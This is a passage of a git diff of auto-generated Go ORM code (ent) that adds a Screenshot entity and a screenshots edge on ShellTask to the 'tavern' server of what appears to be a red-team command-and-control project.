{ + if err := su.defaults(); err != nil { + return 0, err + } + return withHooks(ctx, su.sqlSave, su.mutation, su.hooks) +} + +// SaveX is like Save, but panics if an error occurs. +func (su *ScreenshotUpdate) SaveX(ctx context.Context) int { + affected, err := su.Save(ctx) + if err != nil { + panic(err) + } + return affected +} + +// Exec executes the query. +func (su *ScreenshotUpdate) Exec(ctx context.Context) error { + _, err := su.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (su *ScreenshotUpdate) ExecX(ctx context.Context) { + if err := su.Exec(ctx); err != nil { + panic(err) + } +} + +// defaults sets the default values of the builder before save. +func (su *ScreenshotUpdate) defaults() error { + if _, ok := su.mutation.LastModifiedAt(); !ok { + if screenshot.UpdateDefaultLastModifiedAt == nil { + return fmt.Errorf("ent: uninitialized screenshot.UpdateDefaultLastModifiedAt (forgotten import ent/runtime?)") + } + v := screenshot.UpdateDefaultLastModifiedAt() + su.mutation.SetLastModifiedAt(v) + } + return nil +} + +// check runs all checks and user-defined validators on the builder. +func (su *ScreenshotUpdate) check() error { + if v, ok := su.mutation.Name(); ok { + if err := screenshot.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "Screenshot.name": %w`, err)} + } + } + if v, ok := su.mutation.Size(); ok { + if err := screenshot.SizeValidator(v); err != nil { + return &ValidationError{Name: "size", err: fmt.Errorf(`ent: validator failed for field "Screenshot.size": %w`, err)} + } + } + if v, ok := su.mutation.Hash(); ok { + if err := screenshot.HashValidator(v); err != nil { + return &ValidationError{Name: "hash", err: fmt.Errorf(`ent: validator failed for field "Screenshot.hash": %w`, err)} + } + } + if su.mutation.HostCleared() && len(su.mutation.HostIDs()) > 0 { + return errors.New(`ent: clearing a required unique edge "Screenshot.host"`) + } + return nil +} + +func (su *ScreenshotUpdate) sqlSave(ctx context.Context) (n int, err error) { + if err := su.check(); err != nil { + return n, err + } + _spec := sqlgraph.NewUpdateSpec(screenshot.Table, screenshot.Columns, sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt)) + if ps := su.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := su.mutation.LastModifiedAt(); ok { + _spec.SetField(screenshot.FieldLastModifiedAt, field.TypeTime, value) + } + if value, ok := su.mutation.Name(); ok { + _spec.SetField(screenshot.FieldName, field.TypeString, value) + } + if value, ok := su.mutation.Size(); ok { + _spec.SetField(screenshot.FieldSize, field.TypeUint64, value) + } + if value, ok := su.mutation.AddedSize(); ok { + _spec.AddField(screenshot.FieldSize, field.TypeUint64, value) + } + if value, ok := su.mutation.Hash(); ok { + _spec.SetField(screenshot.FieldHash, field.TypeString, value) + } + if su.mutation.HashCleared() { + _spec.ClearField(screenshot.FieldHash, field.TypeString) + } + if value, ok := su.mutation.Content(); ok { + _spec.SetField(screenshot.FieldContent, field.TypeBytes, value) + } + if su.mutation.ContentCleared() { + _spec.ClearField(screenshot.FieldContent, field.TypeBytes) + } + if su.mutation.HostCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: screenshot.HostTable, + Columns: []string{screenshot.HostColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := su.mutation.HostIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: screenshot.HostTable, + Columns: []string{screenshot.HostColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if su.mutation.TaskCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.TaskTable, + Columns: []string{screenshot.TaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := su.mutation.TaskIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.TaskTable, + Columns: []string{screenshot.TaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if su.mutation.ShellTaskCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.ShellTaskTable, + Columns: []string{screenshot.ShellTaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(shelltask.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := su.mutation.ShellTaskIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.ShellTaskTable, + Columns: []string{screenshot.ShellTaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(shelltask.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if n, err = sqlgraph.UpdateNodes(ctx, su.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{screenshot.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{msg: err.Error(), wrap: err} + } + return 0, err + } + su.mutation.done = true + return n, nil +} + +// ScreenshotUpdateOne is the builder for updating a single Screenshot entity. +type ScreenshotUpdateOne struct { + config + fields []string + hooks []Hook + mutation *ScreenshotMutation +} + +// SetLastModifiedAt sets the "last_modified_at" field. +func (suo *ScreenshotUpdateOne) SetLastModifiedAt(t time.Time) *ScreenshotUpdateOne { + suo.mutation.SetLastModifiedAt(t) + return suo +} + +// SetName sets the "name" field. +func (suo *ScreenshotUpdateOne) SetName(s string) *ScreenshotUpdateOne { + suo.mutation.SetName(s) + return suo +} + +// SetNillableName sets the "name" field if the given value is not nil. +func (suo *ScreenshotUpdateOne) SetNillableName(s *string) *ScreenshotUpdateOne { + if s != nil { + suo.SetName(*s) + } + return suo +} + +// SetSize sets the "size" field. +func (suo *ScreenshotUpdateOne) SetSize(u uint64) *ScreenshotUpdateOne { + suo.mutation.ResetSize() + suo.mutation.SetSize(u) + return suo +} + +// SetNillableSize sets the "size" field if the given value is not nil. +func (suo *ScreenshotUpdateOne) SetNillableSize(u *uint64) *ScreenshotUpdateOne { + if u != nil { + suo.SetSize(*u) + } + return suo +} + +// AddSize adds u to the "size" field. +func (suo *ScreenshotUpdateOne) AddSize(u int64) *ScreenshotUpdateOne { + suo.mutation.AddSize(u) + return suo +} + +// SetHash sets the "hash" field. +func (suo *ScreenshotUpdateOne) SetHash(s string) *ScreenshotUpdateOne { + suo.mutation.SetHash(s) + return suo +} + +// SetNillableHash sets the "hash" field if the given value is not nil. +func (suo *ScreenshotUpdateOne) SetNillableHash(s *string) *ScreenshotUpdateOne { + if s != nil { + suo.SetHash(*s) + } + return suo +} + +// ClearHash clears the value of the "hash" field. +func (suo *ScreenshotUpdateOne) ClearHash() *ScreenshotUpdateOne { + suo.mutation.ClearHash() + return suo +} + +// SetContent sets the "content" field. +func (suo *ScreenshotUpdateOne) SetContent(b []byte) *ScreenshotUpdateOne { + suo.mutation.SetContent(b) + return suo +} + +// ClearContent clears the value of the "content" field. +func (suo *ScreenshotUpdateOne) ClearContent() *ScreenshotUpdateOne { + suo.mutation.ClearContent() + return suo +} + +// SetHostID sets the "host" edge to the Host entity by ID. +func (suo *ScreenshotUpdateOne) SetHostID(id int) *ScreenshotUpdateOne { + suo.mutation.SetHostID(id) + return suo +} + +// SetHost sets the "host" edge to the Host entity. +func (suo *ScreenshotUpdateOne) SetHost(h *Host) *ScreenshotUpdateOne { + return suo.SetHostID(h.ID) +} + +// SetTaskID sets the "task" edge to the Task entity by ID. +func (suo *ScreenshotUpdateOne) SetTaskID(id int) *ScreenshotUpdateOne { + suo.mutation.SetTaskID(id) + return suo +} + +// SetNillableTaskID sets the "task" edge to the Task entity by ID if the given value is not nil. +func (suo *ScreenshotUpdateOne) SetNillableTaskID(id *int) *ScreenshotUpdateOne { + if id != nil { + suo = suo.SetTaskID(*id) + } + return suo +} + +// SetTask sets the "task" edge to the Task entity. +func (suo *ScreenshotUpdateOne) SetTask(t *Task) *ScreenshotUpdateOne { + return suo.SetTaskID(t.ID) +} + +// SetShellTaskID sets the "shell_task" edge to the ShellTask entity by ID. +func (suo *ScreenshotUpdateOne) SetShellTaskID(id int) *ScreenshotUpdateOne { + suo.mutation.SetShellTaskID(id) + return suo +} + +// SetNillableShellTaskID sets the "shell_task" edge to the ShellTask entity by ID if the given value is not nil. +func (suo *ScreenshotUpdateOne) SetNillableShellTaskID(id *int) *ScreenshotUpdateOne { + if id != nil { + suo = suo.SetShellTaskID(*id) + } + return suo +} + +// SetShellTask sets the "shell_task" edge to the ShellTask entity. +func (suo *ScreenshotUpdateOne) SetShellTask(s *ShellTask) *ScreenshotUpdateOne { + return suo.SetShellTaskID(s.ID) +} + +// Mutation returns the ScreenshotMutation object of the builder. +func (suo *ScreenshotUpdateOne) Mutation() *ScreenshotMutation { + return suo.mutation +} + +// ClearHost clears the "host" edge to the Host entity. +func (suo *ScreenshotUpdateOne) ClearHost() *ScreenshotUpdateOne { + suo.mutation.ClearHost() + return suo +} + +// ClearTask clears the "task" edge to the Task entity. +func (suo *ScreenshotUpdateOne) ClearTask() *ScreenshotUpdateOne { + suo.mutation.ClearTask() + return suo +} + +// ClearShellTask clears the "shell_task" edge to the ShellTask entity. +func (suo *ScreenshotUpdateOne) ClearShellTask() *ScreenshotUpdateOne { + suo.mutation.ClearShellTask() + return suo +} + +// Where appends a list predicates to the ScreenshotUpdate builder. +func (suo *ScreenshotUpdateOne) Where(ps ...predicate.Screenshot) *ScreenshotUpdateOne { + suo.mutation.Where(ps...) + return suo +} + +// Select allows selecting one or more fields (columns) of the returned entity. +// The default is selecting all fields defined in the entity schema. +func (suo *ScreenshotUpdateOne) Select(field string, fields ...string) *ScreenshotUpdateOne { + suo.fields = append([]string{field}, fields...) + return suo +} + +// Save executes the query and returns the updated Screenshot entity. +func (suo *ScreenshotUpdateOne) Save(ctx context.Context) (*Screenshot, error) { + if err := suo.defaults(); err != nil { + return nil, err + } + return withHooks(ctx, suo.sqlSave, suo.mutation, suo.hooks) +} + +// SaveX is like Save, but panics if an error occurs. +func (suo *ScreenshotUpdateOne) SaveX(ctx context.Context) *Screenshot { + node, err := suo.Save(ctx) + if err != nil { + panic(err) + } + return node +} + +// Exec executes the query on the entity. +func (suo *ScreenshotUpdateOne) Exec(ctx context.Context) error { + _, err := suo.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (suo *ScreenshotUpdateOne) ExecX(ctx context.Context) { + if err := suo.Exec(ctx); err != nil { + panic(err) + } +} + +// defaults sets the default values of the builder before save. +func (suo *ScreenshotUpdateOne) defaults() error { + if _, ok := suo.mutation.LastModifiedAt(); !ok { + if screenshot.UpdateDefaultLastModifiedAt == nil { + return fmt.Errorf("ent: uninitialized screenshot.UpdateDefaultLastModifiedAt (forgotten import ent/runtime?)") + } + v := screenshot.UpdateDefaultLastModifiedAt() + suo.mutation.SetLastModifiedAt(v) + } + return nil +} + +// check runs all checks and user-defined validators on the builder. +func (suo *ScreenshotUpdateOne) check() error { + if v, ok := suo.mutation.Name(); ok { + if err := screenshot.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "Screenshot.name": %w`, err)} + } + } + if v, ok := suo.mutation.Size(); ok { + if err := screenshot.SizeValidator(v); err != nil { + return &ValidationError{Name: "size", err: fmt.Errorf(`ent: validator failed for field "Screenshot.size": %w`, err)} + } + } + if v, ok := suo.mutation.Hash(); ok { + if err := screenshot.HashValidator(v); err != nil { + return &ValidationError{Name: "hash", err: fmt.Errorf(`ent: validator failed for field "Screenshot.hash": %w`, err)} + } + } + if suo.mutation.HostCleared() && len(suo.mutation.HostIDs()) > 0 { + return errors.New(`ent: clearing a required unique edge "Screenshot.host"`) + } + return nil +} + +func (suo *ScreenshotUpdateOne) sqlSave(ctx context.Context) (_node *Screenshot, err error) { + if err := suo.check(); err != nil { + return _node, err + } + _spec := sqlgraph.NewUpdateSpec(screenshot.Table, screenshot.Columns, sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt)) + id, ok := suo.mutation.ID() + if !ok { + return nil, &ValidationError{Name: "id", err: errors.New(`ent: missing "Screenshot.id" for update`)} + } + _spec.Node.ID.Value = id + if fields := suo.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, screenshot.FieldID) + for _, f := range fields { + if !screenshot.ValidColumn(f) { + return nil, &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + if f != screenshot.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, f) + } + } + } + if ps := suo.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := suo.mutation.LastModifiedAt(); ok { + _spec.SetField(screenshot.FieldLastModifiedAt, field.TypeTime, value) + } + if value, ok := suo.mutation.Name(); ok { + _spec.SetField(screenshot.FieldName, field.TypeString, value) + } + if value, ok := suo.mutation.Size(); ok { + _spec.SetField(screenshot.FieldSize, field.TypeUint64, value) + } + if value, ok := suo.mutation.AddedSize(); ok { + _spec.AddField(screenshot.FieldSize, field.TypeUint64, value) + } + if value, ok := suo.mutation.Hash(); ok { + _spec.SetField(screenshot.FieldHash, field.TypeString, value) + } + if suo.mutation.HashCleared() { + _spec.ClearField(screenshot.FieldHash, field.TypeString) + } + if value, ok := suo.mutation.Content(); ok { + _spec.SetField(screenshot.FieldContent, field.TypeBytes, value) + } + if suo.mutation.ContentCleared() { + _spec.ClearField(screenshot.FieldContent, field.TypeBytes) + } + if suo.mutation.HostCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: screenshot.HostTable, + Columns: []string{screenshot.HostColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := suo.mutation.HostIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: screenshot.HostTable, + Columns: []string{screenshot.HostColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if suo.mutation.TaskCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.TaskTable, + Columns: []string{screenshot.TaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := suo.mutation.TaskIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.TaskTable, + Columns: []string{screenshot.TaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if suo.mutation.ShellTaskCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.ShellTaskTable, + Columns: []string{screenshot.ShellTaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(shelltask.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := suo.mutation.ShellTaskIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.ShellTaskTable, + Columns: []string{screenshot.ShellTaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(shelltask.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + _node = &Screenshot{config: suo.config} + _spec.Assign = _node.assignValues + _spec.ScanValues = _node.scanValues + if err = sqlgraph.UpdateNode(ctx, suo.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{screenshot.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{msg: err.Error(), wrap: err} + } + return nil, err + } + suo.mutation.done = true + return _node, nil +} diff --git a/tavern/internal/ent/shelltask.go b/tavern/internal/ent/shelltask.go index 786135125..0d33a34a4 100644 --- a/tavern/internal/ent/shelltask.go +++ b/tavern/internal/ent/shelltask.go @@ -59,15 +59,18 @@ type ShellTaskEdges struct { ReportedFiles []*HostFile `json:"reported_files,omitempty"` // Processes reported by this shell task ReportedProcesses []*HostProcess `json:"reported_processes,omitempty"` + // Screenshots reported by this shell task + Screenshots []*Screenshot `json:"screenshots,omitempty"` // loadedTypes holds the information for reporting if a // type was loaded (or requested) in eager-loading or not. - loadedTypes [5]bool + loadedTypes [6]bool // totalCount holds the count of the edges above. - totalCount [5]map[string]int + totalCount [6]map[string]int namedReportedCredentials map[string][]*HostCredential namedReportedFiles map[string][]*HostFile namedReportedProcesses map[string][]*HostProcess + namedScreenshots map[string][]*Screenshot } // ShellOrErr returns the Shell value or an error if the edge @@ -119,6 +122,15 @@ func (e ShellTaskEdges) ReportedProcessesOrErr() ([]*HostProcess, error) { return nil, &NotLoadedError{edge: "reported_processes"} } +// ScreenshotsOrErr returns the Screenshots value or an error if the edge +// was not loaded in eager-loading. +func (e ShellTaskEdges) ScreenshotsOrErr() ([]*Screenshot, error) { + if e.loadedTypes[5] { + return e.Screenshots, nil + } + return nil, &NotLoadedError{edge: "screenshots"} +} + // scanValues returns the types for scanning values from sql.Rows. func (*ShellTask) scanValues(columns []string) ([]any, error) { values := make([]any, len(columns)) @@ -267,6 +279,11 @@ func (st *ShellTask) QueryReportedProcesses() *HostProcessQuery { return NewShellTaskClient(st.config).QueryReportedProcesses(st) } +// QueryScreenshots queries the "screenshots" edge of the ShellTask entity. +func (st *ShellTask) QueryScreenshots() *ScreenshotQuery { + return NewShellTaskClient(st.config).QueryScreenshots(st) +} + // Update returns a builder for updating this ShellTask. // Note that you need to call ShellTask.Unwrap() before calling this method if this ShellTask // was returned from a transaction, and the transaction was committed or rolled back. @@ -395,5 +412,29 @@ func (st *ShellTask) appendNamedReportedProcesses(name string, edges ...*HostPro } } +// NamedScreenshots returns the Screenshots named value or an error if the edge was not +// loaded in eager-loading with this name. +func (st *ShellTask) NamedScreenshots(name string) ([]*Screenshot, error) { + if st.Edges.namedScreenshots == nil { + return nil, &NotLoadedError{edge: name} + } + nodes, ok := st.Edges.namedScreenshots[name] + if !ok { + return nil, &NotLoadedError{edge: name} + } + return nodes, nil +} + +func (st *ShellTask) appendNamedScreenshots(name string, edges ...*Screenshot) { + if st.Edges.namedScreenshots == nil { + st.Edges.namedScreenshots = make(map[string][]*Screenshot) + } + if len(edges) == 0 { + st.Edges.namedScreenshots[name] = []*Screenshot{} + } else { + st.Edges.namedScreenshots[name] = append(st.Edges.namedScreenshots[name], edges...) + } +} + // ShellTasks is a parsable slice of ShellTask. type ShellTasks []*ShellTask diff --git a/tavern/internal/ent/shelltask/shelltask.go b/tavern/internal/ent/shelltask/shelltask.go index 6f1cba655..53398a08d 100644 --- a/tavern/internal/ent/shelltask/shelltask.go +++ b/tavern/internal/ent/shelltask/shelltask.go @@ -44,6 +44,8 @@ const ( EdgeReportedFiles = "reported_files" // EdgeReportedProcesses holds the string denoting the reported_processes edge name in mutations. EdgeReportedProcesses = "reported_processes" + // EdgeScreenshots holds the string denoting the screenshots edge name in mutations. + EdgeScreenshots = "screenshots" // Table holds the table name of the shelltask in the database. Table = "shell_tasks" // ShellTable is the table that holds the shell relation/edge. @@ -81,6 +83,13 @@ const ( ReportedProcessesInverseTable = "host_processes" // ReportedProcessesColumn is the table column denoting the reported_processes relation/edge. ReportedProcessesColumn = "shell_task_reported_processes" + // ScreenshotsTable is the table that holds the screenshots relation/edge. + ScreenshotsTable = "screenshots" + // ScreenshotsInverseTable is the table name for the Screenshot entity. + // It exists in this package in order to avoid circular dependency with the "screenshot" package. + ScreenshotsInverseTable = "screenshots" + // ScreenshotsColumn is the table column denoting the screenshots relation/edge. + ScreenshotsColumn = "shell_task_screenshots" ) // Columns holds all SQL columns for shelltask fields. @@ -242,6 +251,20 @@ func ByReportedProcesses(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption sqlgraph.OrderByNeighborTerms(s, newReportedProcessesStep(), append([]sql.OrderTerm{term}, terms...)...) } } + +// ByScreenshotsCount orders the results by screenshots count. +func ByScreenshotsCount(opts ...sql.OrderTermOption) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborsCount(s, newScreenshotsStep(), opts...) + } +} + +// ByScreenshots orders the results by screenshots terms. +func ByScreenshots(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborTerms(s, newScreenshotsStep(), append([]sql.OrderTerm{term}, terms...)...) + } +} func newShellStep() *sqlgraph.Step { return sqlgraph.NewStep( sqlgraph.From(Table, FieldID), @@ -277,3 +300,10 @@ func newReportedProcessesStep() *sqlgraph.Step { sqlgraph.Edge(sqlgraph.O2M, false, ReportedProcessesTable, ReportedProcessesColumn), ) } +func newScreenshotsStep() *sqlgraph.Step { + return sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ScreenshotsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.O2M, false, ScreenshotsTable, ScreenshotsColumn), + ) +} diff --git a/tavern/internal/ent/shelltask/where.go b/tavern/internal/ent/shelltask/where.go index 1a1c1baea..9cc81fcb4 100644 --- a/tavern/internal/ent/shelltask/where.go +++ b/tavern/internal/ent/shelltask/where.go @@ -770,6 +770,29 @@ func HasReportedProcessesWith(preds ...predicate.HostProcess) predicate.ShellTas }) } +// HasScreenshots applies the HasEdge predicate on the "screenshots" edge. +func HasScreenshots() predicate.ShellTask { + return predicate.ShellTask(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.Edge(sqlgraph.O2M, false, ScreenshotsTable, ScreenshotsColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasScreenshotsWith applies the HasEdge predicate on the "screenshots" edge with a given conditions (other predicates). +func HasScreenshotsWith(preds ...predicate.Screenshot) predicate.ShellTask { + return predicate.ShellTask(func(s *sql.Selector) { + step := newScreenshotsStep() + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + // And groups predicates with the AND operator between them. func And(predicates ...predicate.ShellTask) predicate.ShellTask { return predicate.ShellTask(sql.AndPredicates(predicates...)) diff --git a/tavern/internal/ent/shelltask_create.go b/tavern/internal/ent/shelltask_create.go index 372bdeb58..11374fba2 100644 --- a/tavern/internal/ent/shelltask_create.go +++ b/tavern/internal/ent/shelltask_create.go @@ -14,6 +14,7 @@ import ( "realm.pub/tavern/internal/ent/hostcredential" "realm.pub/tavern/internal/ent/hostfile" "realm.pub/tavern/internal/ent/hostprocess" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/user" @@ -210,6 +211,21 @@ func (stc *ShellTaskCreate) AddReportedProcesses(h ...*HostProcess) *ShellTaskCr return stc.AddReportedProcessIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (stc *ShellTaskCreate) AddScreenshotIDs(ids ...int) *ShellTaskCreate { + stc.mutation.AddScreenshotIDs(ids...) + return stc +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (stc *ShellTaskCreate) AddScreenshots(s ...*Screenshot) *ShellTaskCreate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return stc.AddScreenshotIDs(ids...) +} + // Mutation returns the ShellTaskMutation object of the builder. func (stc *ShellTaskCreate) Mutation() *ShellTaskMutation { return stc.mutation @@ -427,6 +443,22 @@ func (stc *ShellTaskCreate) createSpec() (*ShellTask, *sqlgraph.CreateSpec) { } _spec.Edges = append(_spec.Edges, edge) } + if nodes := stc.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: shelltask.ScreenshotsTable, + Columns: []string{shelltask.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } return _node, _spec } diff --git a/tavern/internal/ent/shelltask_query.go b/tavern/internal/ent/shelltask_query.go index 3d400ebd2..fe53b114d 100644 --- a/tavern/internal/ent/shelltask_query.go +++ b/tavern/internal/ent/shelltask_query.go @@ -16,6 +16,7 @@ import ( "realm.pub/tavern/internal/ent/hostfile" "realm.pub/tavern/internal/ent/hostprocess" "realm.pub/tavern/internal/ent/predicate" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/user" @@ -33,12 +34,14 @@ type ShellTaskQuery struct { withReportedCredentials *HostCredentialQuery withReportedFiles *HostFileQuery withReportedProcesses *HostProcessQuery + withScreenshots *ScreenshotQuery withFKs bool modifiers []func(*sql.Selector) loadTotal []func(context.Context, []*ShellTask) error withNamedReportedCredentials map[string]*HostCredentialQuery withNamedReportedFiles map[string]*HostFileQuery withNamedReportedProcesses map[string]*HostProcessQuery + withNamedScreenshots map[string]*ScreenshotQuery // intermediate query (i.e. traversal path). sql *sql.Selector path func(context.Context) (*sql.Selector, error) @@ -185,6 +188,28 @@ func (stq *ShellTaskQuery) QueryReportedProcesses() *HostProcessQuery { return query } +// QueryScreenshots chains the current query on the "screenshots" edge. +func (stq *ShellTaskQuery) QueryScreenshots() *ScreenshotQuery { + query := (&ScreenshotClient{config: stq.config}).Query() + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := stq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := stq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(shelltask.Table, shelltask.FieldID, selector), + sqlgraph.To(screenshot.Table, screenshot.FieldID), + sqlgraph.Edge(sqlgraph.O2M, false, shelltask.ScreenshotsTable, shelltask.ScreenshotsColumn), + ) + fromU = sqlgraph.SetNeighbors(stq.driver.Dialect(), step) + return fromU, nil + } + return query +} + // First returns the first ShellTask entity from the query. // Returns a *NotFoundError when no ShellTask was found. func (stq *ShellTaskQuery) First(ctx context.Context) (*ShellTask, error) { @@ -382,6 +407,7 @@ func (stq *ShellTaskQuery) Clone() *ShellTaskQuery { withReportedCredentials: stq.withReportedCredentials.Clone(), withReportedFiles: stq.withReportedFiles.Clone(), withReportedProcesses: stq.withReportedProcesses.Clone(), + withScreenshots: stq.withScreenshots.Clone(), // clone intermediate query. sql: stq.sql.Clone(), path: stq.path, @@ -443,6 +469,17 @@ func (stq *ShellTaskQuery) WithReportedProcesses(opts ...func(*HostProcessQuery) return stq } +// WithScreenshots tells the query-builder to eager-load the nodes that are connected to +// the "screenshots" edge. The optional arguments are used to configure the query builder of the edge. +func (stq *ShellTaskQuery) WithScreenshots(opts ...func(*ScreenshotQuery)) *ShellTaskQuery { + query := (&ScreenshotClient{config: stq.config}).Query() + for _, opt := range opts { + opt(query) + } + stq.withScreenshots = query + return stq +} + // GroupBy is used to group vertices by one or more fields/columns. // It is often used with aggregate functions, like: count, max, mean, min, sum. // @@ -522,12 +559,13 @@ func (stq *ShellTaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*S nodes = []*ShellTask{} withFKs = stq.withFKs _spec = stq.querySpec() - loadedTypes = [5]bool{ + loadedTypes = [6]bool{ stq.withShell != nil, stq.withCreator != nil, stq.withReportedCredentials != nil, stq.withReportedFiles != nil, stq.withReportedProcesses != nil, + stq.withScreenshots != nil, } ) if stq.withShell != nil || 